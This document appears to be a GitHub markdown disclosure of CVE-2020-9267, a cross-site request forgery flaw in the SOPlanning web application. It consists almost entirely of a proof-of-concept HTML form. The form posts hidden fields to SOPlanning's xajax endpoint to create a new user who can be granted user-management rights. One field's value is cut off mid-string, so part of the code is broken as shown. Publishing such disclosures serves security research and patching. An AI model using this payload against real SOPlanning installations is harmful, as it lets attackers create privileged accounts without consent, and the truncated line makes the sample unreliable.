J3rryBl4nks Update AddUserCSRF.md History

1 contributor

66 lines (34 sloc) | 2.96 KB

CVE-2020-9267

The SOPlanning web application is vulnerable to CSRF that enables a user to be added.

CSRF POC:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.22.6.208/soplanning/www/process/xajax_server.php" method="POST">
      <input type="hidden" name="xajax" value="submitFormUser" />
      <input type="hidden" name="xajaxr" value="1581700271752" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="Testing" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="1" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="Testing" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="test&#64;test&#46;com" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="Test" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="test" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="true" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="&#35;FFFFFF" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="false" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="false" />
      <input type="hidden" name="xajaxargs&#91;&#93;"
value="&lt;xjxobj&gt;&lt;e&gt;&lt;k&gt;0&lt;&#47;k&gt;&lt;v&gt;users&#95;manage&#95;all&lt;&#47;v&gt;&lt;&#47;e&gt;&lt;e&gt;&lt;k&gt;1
/>
      <input type="hidden" name="xajaxargs&#91;&#93;" value="" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="true" />
      <input type="hidden" name="xajaxargs&#91;&#93;" value="&lt;xjxobj&gt;&lt;&#47;xjxobj&gt;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```